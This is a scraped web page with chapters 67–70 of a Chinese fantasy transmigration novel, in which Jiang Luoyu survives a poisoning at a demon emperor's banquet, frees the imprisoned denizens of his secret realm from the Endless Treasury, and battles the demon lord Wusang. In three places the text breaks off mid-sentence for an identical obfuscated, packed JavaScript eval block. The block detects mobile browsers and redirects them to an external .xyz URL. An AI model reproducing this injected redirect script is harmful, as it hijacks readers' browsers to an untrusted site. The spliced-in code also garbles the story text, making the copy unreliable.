第九声钟鸣响彻云霄,侍者拉长的调子回荡在难得拥挤的金銮大殿。 “龙神到——开宝——!” 67.穿越第六十七天 袅袅仙乐如云如雾,化作清风过耳,又似雪山融水叮咚作响。 大殿两侧立着数根盘龙金柱,梁上又有金色鸾鸟衔玉欲飞,高台上更是放着万龙相缠的宝座。 内侍“开宝”二字一落,幻色彩光自柱身飞出,汇聚成十二个形态各异的兽类和花木虚影,每个虚影面前还摆着各不相同的异宝。 开宝宴每万年一次,是无尽宝库开启前的“彩头”。 通常会宴请十二城池的代表、妖都的王孙贵族,还有肱骨之臣参加,让他们齐聚“赏宝”。 而赏宝里宝贝的来源,则是十二城池代表进献的,用灵气蕴养了将近万年的天材地宝。 时间一到,便一齐在开宝宴上通过秘术化为飘渺的气运反哺在场众妖,每个体会过反哺过程的妖都对此恋恋不忘。 “青龙造化木一株,白虎硕钢金一两,朱雀南明火一簇,玄武万寿水一杯,天音无量草一棵,菩提悦心籽一粒……” 每报出一样天材地宝的名字,对应的异宝就会轻飘飘地飞到御道两侧悬立。 除了舒缓的弦乐,听不见一点其他声响。 姜洛玉领着孩童模样的辰欢行过御道,踩过一地金粉,等到辰欢落座于尊位,自己便坐到了辰欢左侧的位子上。 他不动声色地瞥了眼虽然坐在右侧,但威严不减的妖皇,还有御道两侧的零星几个嫔妃,以及仅剩的两个皇子。 太子元灼风姿依旧,六皇子元柯……看着病恹恹的,似乎命不久矣。 那边内侍报完了天材地宝的名字,妖皇起身,先是向龙椅上的辰欢行了个礼,紧接着大手一挥,十二异宝瞬间粉碎,化为飘渺青烟笼罩住整座大殿。 姜洛玉凝眸看着下方大部分妖在青烟里如痴如醉,自然,也有极少部分曾经参加过开宝宴的妖没有露出这种表情。 数了大概十个数,姜洛玉也开始控制面部神经加入大部队。 元灼在群魔乱舞中缄默,等到元君泽看过来,对视后露出恰到好处的笑,满眼孺慕。 几个月前,姜洛玉把法宝送到他手里,他便以视察之名在妖都走了一圈。最终确认并非是所有妖身上都带着孢子,而是只有修为高深的贵族或是大臣身上才会出现。 旧部零星几个感染了孢子无伤大雅,勘破就是了。 解决完那几个旧部,元灼才放心做些小动作。 他让下属集齐了感染人员的名单,仔细对比后发现,这些人都有一个共同特点——参加过开宝宴。 真相十分明朗。 姜洛玉对此表示,如果妖皇不是通过开宝宴散布孢子,他把姓氏倒过来写。 线香燃尽,赏宝结束。众妖恢复正常倒满酒水觥筹交错,殿内弦歌乐舞依旧。 姜洛玉端着酒杯晃来晃去,惑心蔁的孢子对他没用,刚才都是在演戏。 辰欢和他联系密切,自然也不怕孢子。不过这就难以确定孢子对真正的“神”有没有用。 好在辰欢神志清明妖皇也没露出意外的表情,大概率是没用。 至于面前这些东西……他可不敢碰。 元灼递来消息,妖皇准备在开宝宴上对他下手。 “下手”自然不是光明正大打死他,而是暗地里下黑手——毒这种东西再好不过。 他来之前做了完全的准备护住肉身,身上出自妖皇宫的礼服都是一比一重做的,进来之后更是什么也没碰。 姜洛玉自认为万无一失—— 丝丝缕缕的疼痛从皮肤蔓延到血肉,又从血肉扩散到经脉,再从经脉直直冲向五脏六腑,识海、丹田! 元君泽侧目,看见姜洛玉脸色煞白,端起酒杯轻抿,遮住嘴角似有若无的笑意。 这“命者”来历成谜,据说是突然出现在玄武城的。妖君修为虚浮,又没什么特别的能力,昨天又冒出来个神魂不全的道侣。 这种脱离掌控的感觉已经消失很久了。 麻烦必须要除掉,这种东西也不配待在龙神身边。 好在魔族交给自己专门对付“命者”的东西效果非常,人眼看着就要魂归西天。 看完姜洛玉,他又把视线投向幼年体态的“龙神”。魔族号称能延缓龙神魂魄与肉身磨合速度的东西也不是在诓他。 这样一来,龙神就成了个空有神力的吉祥物,自然无法破坏他的任何计划。 “呼——呼——” 姜洛玉抖着腿,捂住心口,像是快要渴死的鱼一般大口吸气,越吸身上的痛感就越强烈。 千防万防,终究是没防过那毒是无色无味的气体,不仅无处不在,还能扒着结界的缝隙透过皮肤钻进身体。 可其他人怎么没事? 姜洛玉转动脑袋向辰欢所在看去。他们离得这么近,没道理他无视他的异常。 除非妖皇手里有更高级的东西,能悄无声息地隔绝他和外界的一切联系。 “噗通——” 丹田里的三清秘境陡然爆发出混沌灰光,姜洛玉浑身一轻,那灰光硬生生将入侵的毒素溶解得一干二净。 就是好不容易凝实的秘境再度变成了虚影。 元君泽看着姜洛玉的脸色一点点好转,最后和来时没什么区别,捏碎了手里的琉璃杯。 他拿出从魔族处得来的“神卵”,撤回落在姜洛玉发梢的隐虫。 不疼了。 姜洛玉摸了摸额角的冷汗,眼中浮现出一丝迷茫。 直到晨光熹微,这场宴会才算到了尾声。 面对元君泽意料之内的留宿邀请,辰欢当着殿内众妖的面清了清嗓子,道:“无尽宝库开启前这三天,我与命者会在妖都祭台上空为城中万妖祈福。” “届时无论是何血统、修为,都能在祭台旁接受赐福。” 元君泽咬了咬牙,捏着手里的神卵,最终点头称是。 不急,等命者进了无尽宝库再动手也不迟。 他得找魔族好好算账。 辰欢在殿内众人欢呼中化为龙身,驮着长身玉立的青年腾空而起,朝妖都正中央的祭台赶去。 “噗——” “玉玉你没事吧!”辰欢急得就差团团转了。 方才在大殿,他刚查觉不对,就被姜洛玉制止在座位上。 姜洛玉擦了擦嘴角的血,脸色沉得能挤出黑水,道:“没事,那老长虫下毒技术是不错,可惜毒不死我。” 灰光不仅溶解了毒素,还在元君泽用不知道什么阴损法子清除他记忆的时候“垂死挣扎”了一下。 “挺过这三天,进了无尽宝库,老长虫一定会再度出手。”姜洛玉坐在龙头上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15053987|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摸了把滑溜溜的金鳞。 “你和阿雪待在太子府。以老长虫对龙神的狂热和自傲程度不会对你出手,也不屑针对一个魂魄不全的‘傻子’。” 辰欢奋力回头:“那你呢?” 姜洛玉轻笑一声:“呵,等我出来,将那老长虫扒皮抽筋都是轻的。” 辰欢“嗯嗯”敷衍着,把姜洛玉的话当作痴人说梦。 太子府。 丛明雪扔下笔,走到窗口看向西南方天空的金龙虚影。 阿玉,安全了。 “诶,道友你还没写完呢。”玄慈叼着笔杆,“这灵网究竟为何?我觉得这个东西造出来能给妖界带来极大改变——” 玄慈也注意到了金龙虚影,于是默不作声地回了座位,开始钻研丛明雪之前提到的一堆新型炼器思路。 金龙虚影在空中停留了整整三天。 时间一到,辰欢便载着姜洛玉去了妖皇宫。 开启无尽宝库的钥匙在妖皇手里,“门”也在妖皇宫的圣地。 据说这无尽宝库乃“天赐”机缘,在妖界已经存在了将近九万年。 到了所谓的圣地——其实更像是个龙冢。沼泽里不但长着怪树,还趴着历代妖皇的尸骨。 金龙尸身万年不化,趴在泥沼里和睡着了没什么区别。 姜洛玉多看了几眼,被上面传来的威压刺了眼,不知怎得心脏跳如擂鼓。 此次进入无尽宝库的妖有两百,甚至比上一次多了十个名额。 妖皇宫的解释是一切都是秘境的意思。碍于妖皇积威,普通的妖不敢造次,贵族之类的既得利益者就更没有说法了。 他们只是单纯地为了名额削尖脑袋。 行至沼泽尽头,妖皇对天打出把方头钥匙,晴空缓缓浮现覆盖了整个天幕的灰黑色入口。 “无尽宝库等到最后一人寻找到适合自己的宝物才会关闭。其他的,诸位进去自能体会。” 姜洛玉定了定心神,直冲进入口。 “吧嗒——” 像是水洼里落进了雨水,又或是溪流归入大海。 姜洛玉进入刹那间失去了视觉、嗅觉、听觉……只有触觉依旧存在。 他躺在无所依靠的虚空里,成了扁舟上的桨,摇摆不定,亦不知自己身在何方。 这里有对他很重要的东西。 会是什么? 姜洛玉动了动手,护住微微发热的丹田。 那里面似乎有火在燃烧。 有东西扑进他的怀里,用脑袋蹭着他的手心,同样热乎乎的,还带着软毛。 软毛消失,又换成了冰冰凉凉玉一般的触感,再之后就是滑腻的鱼鳍。 按理来说他如今几乎五感尽失,又遇到了如此诡异的遭遇,应该害怕。 可他并不害怕,反倒生出几分诡异的……亲切? 手下摸过的东西越来越多,不是软毛就是鳞片,不是草叶就是花苞…… 姜洛玉越摸越心惊,生出个不可思议的猜测。 不知道过了多久,手底下再无东西可摸。 天光大亮。 姜洛玉做足心理准备睁眼,对上了人山人海。 数量足有几百的俊男美女齐刷刷下跪,喊声震天—— “恭迎境主归位!” 68.穿越第六十八天 同根同源。 对面几百个男女立在虚空里周身环绕着微光,如同星子闪烁。而他们体内,流淌着和他如出一辙的灵力波动。 就像是离昼或是红楹,他们诞生于三清秘境,身上的气息和他其实是非常相似的。 并且只要三清秘境存在,他们就算是剩下丁点儿魂魄也能魂归故土。 他们同生共死。 姜洛玉找不到合适的词语来形容自己现在的心情。 震惊、错愕、欣喜? 这些转瞬即逝。 唯有怒火越烧越旺。 九万年前的“天赐机缘”不是别的,正是分崩离析的三清秘境! 岂有此理,他秘境里的东西凭什么被困在妖界变成了劳什子“宝库”? “都起来。”姜洛玉不知前因后果,走上前去,扶起为首的两女一男。 略高的女人一头彩色长发,身上同样彩衣翩跹。千色瞳孔里波光潋滟,轻拱素手:“天地境东北域守卫,迷心幻雨蝶,浮白。” 稍矮的少女长相俏丽,粉发绿眼,身着荷叶边的淡绿襦裙,整个人透着勃勃生机,抱拳:“天地境东南域守卫,遮天并蒂莲,叶望。” 剩下的男人一头水蓝色卷发,耳部长着半透明的耳鳍,声线清冷:“天地境西南域守卫,织梦鲛,阿木托。” “见过境主!”三人齐声道。 “你们……”姜洛玉心中感慨万千,“是新任守卫?” 三清秘境从诞生开始就自动划分为四个区域。每个区域的混沌、阴阳、天地境都有各自的守卫神君存在。 以天地境的守卫神君为主,另外两人都要听从天地境守卫神君号令。 姜洛玉问完,试图在人群里找到熟悉的面孔,无果。 没有一个人是他认识的。 “回境主,是这样。”浮白飞速瞥了眼姜洛玉,又低下头,“当年三清秘境于天罚中分崩离析,西北域侥幸被天罚劈落至下界,而东北、东南、西南三域只得承受天罚震怒。” “剩下的九位守卫神君,再加上其他封得神君之位的前辈为了争得一线生机,选择集体献出神格平息天道怒火。” 天罚,又是天罚。 姜洛玉攥紧拳头,心中五味杂陈,长吁了一口气:“之后呢?” 叶望吸了吸鼻子,语气悲伤:“趁着天罚被神格吸引,前辈们联手震碎三域秘境送去下界,让里面的天材地宝、神兽灵禽,还有那些刚化形不久的仙神得以苟存。” “境主,开了灵智还活着的,就只剩下我们了。其他的都是些被天罚劈得无法开智的。” 阿木托拿出小玉瓶接住叶望灵气四溢的眼泪,道:“可惜路线出来差错,我们途径妖界被妖都的龙神残魂气息吸引,汇聚在一起自成一方虚无天地,也就是无尽宝库。” “当时的妖皇趁我们刚刚经历天罚,没什么反抗能力,便直接强行与无尽宝库签订契约,将我们困在了妖界。契约内容让我们无法伤害闯入者,妖皇便放心地每万年放人进来挑选异宝。” 浮白再度开口,为这段往事画上了结尾:“最开始进入无尽宝库的人数和拿出异宝的数量没有限制。妖皇便率先放了同族和臣子大肆搜刮。” “好在天道不允许过多的神界之物出现在妖界无尽宝库才没被洗劫一空。过后宝库第二次开启前,我们又限制了进入的人数。” “境主,我们一直在等你带我们离开。” 姜洛玉想到一个问题:“你们困在此处,也知晓我的诞生?” 三人齐齐点头。 “境主您在下界刚生出灵智时,呼唤过所有和三清秘境有关的事物。”阿木托眨了眨蔚蓝色的眼睛。 “我这儿还存着留音。” 鲛绡如水波粼粼,阿木托从鲛珠空间里翻出巴掌大的鱼白色海螺晃了晃。 姜洛玉:“……?” “好、好黑……呜呜……” 含糊不清的稚嫩声音扩散在整片虚无之地,比咿呀学语的婴孩好不了多少。 “不怕……不怕……” 姜洛玉红着耳朵故作镇定,心说这黑历史还怪高清的,将近十万年还这么清晰。 阿木托小心翼翼收起海螺,感慨:“境主,您可能不知道您的诞生对我们来说有多重要。” “当时无尽宝库新生,我们和其他东西都成了任人挑选的物件。我们的根在三清秘境,和秘境断了联系,便成了无家可归的过街鼠辈。谁都想掺上一脚,从里面得到好处。” “你的呼唤让我们在黑暗里重新感受到三清秘境的存在,恢复了同秘境的联系。我们便重新扎下根,整日盼望着你的到来。” “当初那老畜牲派人抓了好些个神魂受损的仙神回去!”叶望提及往事依旧气得半死,自觉拿着玉瓶接眼泪。 “我并蒂同株的姐姐就被他们抓去了,至今生死未卜。 三人身后的人群也开始躁动起来。 “境主,我弟弟被他们强行抓去当了兽宠!五万年前……断了生机。” “我肉身也被抓去练成了丹药,迫不得已只好转修鬼道……境主我终于等到你了,我要出去把吃了我肉身的畜牲斩杀!” “境主”、“境主”、“境主”…… 一声声“境主”中,姜洛玉拼凑出十万年间三清秘境众人在无尽宝库的经历,他们从最初的愤怒、不甘、绝望,再到重新与秘境建立联系的惊喜。 他们坚信有朝一日,他会来到妖界撕碎契约,救他们出去。 “大家放心。”姜洛玉深吸一口气,郑重其事道,“我会带你们出去,让那些人付出应得的代价。” 十万年前的妖皇就是元君泽。 报仇这种东西无论过了多少年都不晚,如今新仇旧恨叠加在一起,当真是……不死不休。 妖皇宫。 元君泽挥退寝殿侍从,把玩着手里的“神卵”。 鹅蛋大小的卵鞘通体翠绿,触手生温,绿豆般的隐虫从最上方的小孔里爬出,亲昵地蹭着男人的指腹。 “吱嘎”,殿门开了,霎时间狂风四起,吹得殿内装饰用的烛台倒在地面,里面鲛人脂掺杂着香料的香膏流了满地。 黑雾毫无预兆地出现,最后凝结成不堪的人形。 “真有雅致,这鲛人脂炼制得不错。”黑雾发出吊儿郎当的成熟男声,蹲了下去,伸出惨白的手挖起一坨香膏。 塞进了嘴里。 元君泽怒道:“乌桑,这就是你说的世间至毒?” 乌桑,三十六魔君中的二把手,性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15058657|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子阴晴不定,热衷于给魔尊墨危楼立坟。 “不然呢?”乌桑不耐烦地点燃了剩下的香膏,“这隐虫可是用炼渊埋骨地的剧毒养出来的,杀人的时候还能自成天地隔绝外界。” “别告诉我你没杀死那什么狗屁‘命者’。” 元君泽阴沉的脸色让乌桑意识到——他猜对了。 “真没死啊?有意思。”乌桑站起来伸了个懒腰,语气兴奋,“正巧我近日无事可做,不如留下来会一会那什么‘命者’。” 元君泽把隐虫塞了回去,问道:“大人呢?” “大人的行踪岂是你能打听的?”乌桑坐到元君泽对面,“有空关心大人,你不如关心一下自己。” “你到底在拖什么?再不吃你那二儿子,我估计下次过来只能看见你的骨灰了。” 元君泽气得眉心直跳,没好气道:“你也仔细些,小心被魔尊发现你私底下养魔兵。真被发现了,死都不知道是个什么死法。” 乌桑乐了:“呵,墨危楼那厮知道了,把我整个儿囫囵吞下去炼化也在情理之中。” “我也是犯贱,好好的魔君不当,非要掺和进来什么‘复神’大业。” 元君泽:“你可以退出。” 乌桑:“横着出去?” 元君泽:“……” 话不投机半句多,两人一时无言。 元君泽摩挲着神卵光滑的表皮,思绪飘回了第一次见乌桑时。 那是……约莫五千年前。 他的身体因为龙珠的旧伤日渐衰弱。力不从心的感觉让他意识到,他是会死的。 世上没人能治疗龙珠的损伤,就算他曾经杀了同族试图修补龙珠,结果都是以失败告终。 他会死的。 可元君泽不想死。 雨夜,当他因为头疾彻夜难眠的时候,一团看不出人形的黑雾出现在寝殿。 黑雾问他——“你想长生吗?” 元君泽当然想。 哪个修士不想长生? 于是他得到了孕育胎龙的秘法,以及用子嗣延续寿命的法术。 “吃”了大儿子之后,他的身体果然好转起来。 又过了一千年,他的身体再度衰弱。 就当元君泽绝望之际,黑雾再度降临。这次来的不是乌桑,而是那位“大人”。 他问他愿不愿意加入“复神”大业,想的话,他就能在真神降临后享受无尽长生。 加入吧,加入吧,加入吧。 有一道声音在他心底不断重复。就这样,元君泽成为了那位“大人”在妖界最锋利的刀。 他低下头,任凭那位大人在他身上种下象征着忠诚的咒文,得到了延寿的方法。 只要他不断吞噬子嗣,就能一直活下去。 “说了这么多,那‘命者’在哪儿?” 乌桑翘着二郎腿:“月黑风高杀人夜,我去解决他。趁那暴君没找我还能偷懒几天。” 元君泽:“他进了无尽宝库。” 乌桑:“你就不怕他在里面得到什么宝贝,转头用来对付你?” “自然不怕。”元君泽露出一丝微笑,“那里面充其量不过是关着一群苟延残喘的神界遗产。” “掀不起什么风浪。” 69.穿越第六十九天 “所以,我该如何带你们出去?要先出去撕了那什么契约吗?” 姜洛玉坐在虚空里,被几百个仙神围着。在他们灼热的视线下有些不适应,逃避似的抬头看向空中数百道水镜。 每道水镜对应着一个进入无尽宝库的妖。他在里面看到了玄慈。 玄慈正在漆黑的海水中苦苦挣扎,看着神情恍惚,一边游泳一边说自己不是“水蛇”。 另一道水镜,玄安倒是化为玄龟原形在冰海里浮沉,怡然自得。 “回境主,契约限制的只是无尽宝库,只要有人能带我们走,问题自然迎刃而解。”浮白眼睛亮晶晶地坐到姜洛玉身侧。 “您如今正在重建三清秘境,直接将我们都吸收进去就好。” 姜洛玉:“……?” 听完浮白的话,他脑中不由自主地划过在妖界吸收天材地宝时,那些东西的消失过程。 最开始消失的是内里。手上的东西会变得半透,对着光能看清里面逐渐化为能量的物质,晃起来像水、又像是粘稠的呕吐物。 吸收过半还会在内壁浮现出血丝状的“线”,那些东西会存在到皮囊消失的那一刻。 如果换成人形的话……姜洛玉打了个寒噤。 不行,得再想个方法。 叶望读懂对面青年眼底的为难,连忙解释道:“哎呀境主,吸收过程不会很奇怪的。” 少女表情生动,粉色长辫一甩,搓出两个植物根茎变的小傀儡。 两个傀儡一高一矮,高的那个姜洛玉猜测是代表自己。 果不其然,当高个傀儡抚上矮个傀儡的发顶后,矮个傀儡先是“啪”得一下变成了小球,又飞进高个傀儡丹田里无影无踪。 姜洛玉勉强接受了这个过程。 “事不宜迟,请境主尽快。”阿木托挥了挥手,虚空瞬间出现密密麻麻如星海般的天材地宝、奇珍异兽。 姜洛玉记起同玄安的约定,问:“可有古神残躯、冥海浮木、雨落花田?” 这么抽象的东西……真的会有吗? 浮白眸光微动,肯定道:“有的境主。” 这下轮到姜洛玉不确定了,狐疑开口:“不过……无尽宝库里都是三清秘境的东西,为何进来的修士能得到心中所想?” 阿木托浅笑了一下,唤来个八九岁的男孩儿,还有一个身形婀娜的女人。 男孩儿在一众仙神里是难得的黑发黑眼,脸蛋红扑扑的,走过来恭敬行礼:“西南域阴阳境守卫,千变万化藤——清漓,见过境主。” 女人眸色深紫,语气轻柔如梦似幻:“东北域混沌境守卫,无痕大梦花——淮梦,见过境主。” 阿木托揉了揉清漓的脑袋,道:“多亏了清漓和淮梦,还有浮白的天赋。那些人一进来,淮梦先是让他们陷入沉睡,坠入为他们量身打造的识海‘梦墟’。” “之后浮白再用迷心术读取他们心底目前最需要的东西,由大家辅助清漓用藤身造物引得天道认同,将东西投放到他们身边,最后再将人踢出去。” 清漓一个劲儿点头:“总归在无尽宝库里没事干,就当是锻炼对神力的掌控。” “而且那些曾经在宝库撒过野的,到手的东西全都加了料。”叶望神秘兮兮道。 空中那几百水镜,便是梦墟的具象化。 进来的妖在里面丑态尽显,放眼望去有的画面甚至不堪入目。 当初的元君泽其实不知无尽宝库乃三清秘境分崩离析再聚所化,只知道此地玄妙非常,不但异宝无数还有一群“掀不起风浪”的仙神,这才起了贪念将其留在妖界。 他自认为的掌控全局,只不过是无尽宝库众仙神想让他看见的罢了。 若非当初契约源头用的是龙冢历代的妖皇尸身,上面天道气息和灵力波动过于强劲,他们也不至于被元君泽困住强行订约。 十万年休养生息,早就让他们恢复不少实力。 他们需要的只是一个契机——出去的契机。 姜洛玉听完点头道:“既然如此,你们先把我所说的东西造出来,送给那只……玄龟。” 几人点头称是。 解决了答应玄安的请求,姜洛玉这才将手放在了离自己最近的天材地宝上。 转瞬之间,一月匆匆而逝。 龙冢,又一个进入无尽宝库的妖凭空出现在天幕,像雨点般砸在地上。 空地上已经站了一百九十九道身影,只差一个。 乌桑隐身站在元君泽身边,骂道:“那命者是属王八的吗?怎么还不出来。” “稍安勿躁。”元君泽面不改色,“早晚都要出来。” “龙神那处如何了?” “一条龙带着一根葱,亏得你好意思让我特意去看一眼。”乌桑翻了个白眼,“不过龙神看他看得紧,我没找到机会下手。” “那葱连神魂都是不全的,你还担心他坏你大事?能活着就是个奇迹。” 元君泽不置可否:“你相信命吗?” 乌桑:“你吃错药了?” “你我也算共事五千年了。我这些年里听从大人吩咐,兢兢业业地在天柱下方埋下神胎,又将神种放进那些人身体。” “可长生呢?我还有多久才能得到真正的长生?” “喂,你发什么疯?什么命不命的。”乌桑觉出异样,“当初若不是大人救你,你以为自己还能活到今天?” 元君泽停止了无意义的呢喃,英俊的面庞上悄然爬上几丝血痕,金色瞳孔同样染上滔天血色。 “你不懂……我已经快要死了!” 乌桑心道不妙,这老东西莫非是走火入魔了! 妖皇入魔几乎是不可能的事,但元君泽不一样,他这么多年全都在做一些损阴德的事,早就失去了天道庇护,用子嗣延续寿命也不过是苟延残喘。 乌桑瞬间起了杀心。 妖皇谁当都行,大人需要的只不过是一个能引动“神胎”的傀儡。 没了元君泽,还有千千万万个“元君泽”。 “我知道你想杀我。” 元君泽抬起手,面无表情的将五指插进后颈。 沾血的脊骨在空中划出完美的弧线。 他握着刻满黑色咒枷的金色龙骨,背生寒霜,冻住不断向外流血的伤口。 “啊——妖皇、妖皇疯了!” 在场看清这一幕妖修忍不住尖叫出声,根本不敢多想,全都争先恐后的想要逃离这个鬼地方。 玄慈眼珠子都要掉下来了,化作蛇形缠上玄安的身体:“哥哥哥!快跑啊,妖皇都抽自己龙骨了,没准马上就要大开杀戒了!” 玄安作势后退几步,却被困在了龙冢结界里。 他向四周看去,看见同样撞在结界上的妖君、妖仙。 “圣地”大门不知何时已经关闭。 “晚了,等死吧。” 玄慈:“……不要啊!!!那老东西想做什么?” “咚——” 脊骨和利爪撞击在一起,发出沉闷的声响。 乌桑不得已显化出身形, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15062333|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兽瞳狰狞:“你何时解开大人咒枷的!” “你不需要知道。” 又躲过一击,乌桑在元君泽的攻击里嗅到一丝腐臭的气息。 这股气息熟悉至极。 电光石火间,乌桑恍然大悟:“你吃了神胎!你这贱人坏了大人的计划!” 元君泽敲了敲脊骨,上面的咒枷如灰尘般飘落。 他红着眼睛,似笑非笑:“是又如何?大人让我把它埋下去,可没说不让我挖出来。” “更没说……不让我炼化它们。” 天幕,下雨了。 玄慈抬起脑袋,蓝色的灵雨落在了蛇瞳里。 凉丝丝的,很好地缓解了他的紧张。 二百多号妖修全都聚集在龙冢结界边缘,看着空中二人缠斗。 那容貌邪肆的男人浑身魔气,一看就是魔族。 更别提两人刚才的对话毫不遮掩,他们一不聋二不傻,全都意识到妖皇居然早就勾结了魔族! 众妖在意识到这件事后,立马形成了以四大圣城代表为首的趋势。 青龙城的代表、城主之女青迹星浮在半空,释放出青龙生生不息的木灵之力化作结界笼罩住在场众妖,好让一魔一龙打斗逸散的魔气不影响到此地。 落到地面,青迹星拧眉道:“联系不上外界。” “那怎么办,等死吗?”一头白金短发的白牧板着脸,虎尾拍打在被灵力冻住的泥潭上。 顺势又给结界镀了层金光。 玄慈崩溃了:“臭老虎你不许瞎说啊!” 朱行言抚了抚眼角的火纹,朱雀离火再度加固几分结界,轻声道:“妖皇的确疯了,哪个正常的龙族会拿自己脊骨打架。” 金龙身上最重要的除了龙珠,便是那条金色脊骨。一般来说脊骨离体,没有东西代替,龙也就不成了。 也不知元君泽修炼了什么功法,抽去脊骨还能和那魔族打个不相上下。 会和“神胎”有关系吗? 玄安不语,默默输送玄武之力再次加固姐姐。 青迹星只犹豫了一会儿,甩袖道:“不能坐以待毙,妖皇勾结魔族铁证如山,等他二人回过神来定会杀我们灭口。” “我们先一并合力冲破龙冢结界!” 无妖发出异议。 可怎么才能出去? 龙冢的结界之力源于历代妖皇的遗骸,进来时都是妖皇用精血打开的“圣地”大门。 “吾来,门开之后,你们尽快逃出去。” 元灼摘下兜帽,无视众妖震惊的目光。 他看向空中打得难舍难分的两人,眸中闪烁着晦涩的光:“我若出不去,就让六弟继承皇位。” “告诉他,照顾好启儿。” 一滴暗金色的精血飞入龙冢结界,划开了一条口子。 金色巨龙长啸一声,直直冲向半空缠斗之人。 “还不快走!”白牧大喝一声,率先冲出结界。 黑压压的妖群如潮水般涌向开口。 “咔嚓——” 惊雷炸响,化为流光箭雨,携带着灭顶的恐怖气息飞向出逃众妖! “方天造化鼎!” 青绿色大鼎陡然出现在半空,瞬间铺开半球状结界抵挡住箭雨来袭! 玄慈:“……?” 谁偷他鼎了?! 不对,他的鼎还在丹田里,那空中的是…… 姜洛玉大喝一声,眸如点星,双手飞速掐诀,再度喝道—— “七宝莲台,开!” 70.穿越第七十天 遮天蔽日的大鼎发出铿然巨响,眨眼间就换了一副模样。 散发着七色宝光的莲台上仙气缭绕,旋转着接下元君泽不断释放出来的雷霆箭雨,厚重的屏障不断受损、修复、再度开裂。 “愣着做什么?”姜洛玉双手撑过头顶托举着莲台,向下吼道,“还不快走!” 愣在在莲台威压之下的妖这才加速向出口涌去。 玄慈盘在玄安身上,看见姜洛玉之后有些急:“哥,咱们就这么走啊……那他怎么——” “他这人不会白白送死的。”玄安冷静分析,摸了摸芥子所在。“我们先走,去找龙神。” 芥子里装着他需要的五样东西。 五样东西。 放在之前,他做梦都不敢想自己能一次性拿到这么多。 明明无尽宝库一切如常。思来想去,直到姜洛玉祭出方天造化鼎挡下箭雨,玄安感受到了他身上深不可测的气息。 他突然明白了,无尽宝库里是有一个变量的——姜洛玉。 那个金丹修为就能进入妖界、用了半年多时间就到了渡劫巅峰的秘境。 走出结界前一秒,玄安回头看了一眼。 七宝莲台轰然坠地,化为流光飞进白衣人影。 乌桑手下动作一顿,收刀跳出战场,暂时放弃同元灼一齐攻击元君泽。 他抛了抛手里足有五寸宽的血海冥河刀,望向白衣翩然的明艳青年,兴奋不已。 “好好好——得来全不费工夫,我说大人在下界怎么感受不到三清秘境的气息。”乌桑大笑两声,刀指苍穹,“原来你是跑到妖界苟延残喘了。” 乌桑的话完全承认了他和下界那团魔气的关系,姜洛玉嗤笑一声,倒是没想过冤家路窄——竟然窄到了如此地步。 他把三清秘境暂时转移给了丛明雪,本体又上到了妖界,和秘境联系几乎断绝,连他都找不到三清秘境在哪儿,又何谈幕后之人? 乌桑手里的大刀锐气逼人,上面环绕的血煞和魔气彻底显现,风声呜咽下万鬼齐哭。 姜洛玉没有犹豫,立即取出还未淬炼的玄衣剑,又唤出无相球将其融入剑身。 他握着逐渐火热的剑柄,眼神冰冷:“原来你只是一条走狗啊。” “走狗又如何?等我将你带回魔界,你马上也会变成大人的一条狗!” 乌桑瞬间暴起,怒目圆睁,喝道——“血海共沉!” 腥风四起,灰黑的天幕瞬间翻滚起血色云雾,空气潮湿得令人窒息。 刀刃还未斩下,玄色长剑闪过一道银光,顺着主人的力道向上劈去,浩然正气以剑身为中心扩散,托起下坠血海! 碰撞、撕扯、相互消磨! 姜洛玉吸取着天地灵力,《正天诛魔剑法》运转到极致,不间断将灵气化为剑气输出。 两人越离越近,直到刀剑相撞,看清乌桑眼睛那一刻,《太一万法无相诀》接踵而至。 乌桑恍惚一瞬,眼皮抖了抖。 对面与他生死相搏的青年突然换了一副容貌,是…… “魔尊?暴君!我明明告了假,你为何苦苦相逼追来妖界?!” 姜洛玉:“……???” 失策,时间太短,他只挑了乌桑记忆里印象最深、感情最复杂的人仓促变化身形。 谁知道那长相邪魅的男人不仅是魔尊,还是黑心上司!不过,乌桑对压榨自己的黑心上司抱着那么复杂的感情…… 姜洛玉抽了抽嘴角撤去功法,可惜余韵仍在。 乌桑和打了鸡血一样,血海冥河刀上的血煞气越来越浓。 姜洛玉被血煞气熏得眼角淌血,咬牙加大灵力输出化解了乌桑一击,退后数丈,服下无尽宝库刚得的疗伤圣药。 乌桑没有追上去,站在原地捂了捂眼睛,又敲了敲脑袋。 他刚才好像看见魔尊那个狗东西了…… “嘶……”乌桑松开刀柄,戳了戳手心被腐蚀出来的坑洞,眼中燃起浓浓战意。 “有意思,下界的功法居然有这么大的威力。” 他抬起血海冥河刀,再度冲向白衣染血的青年。 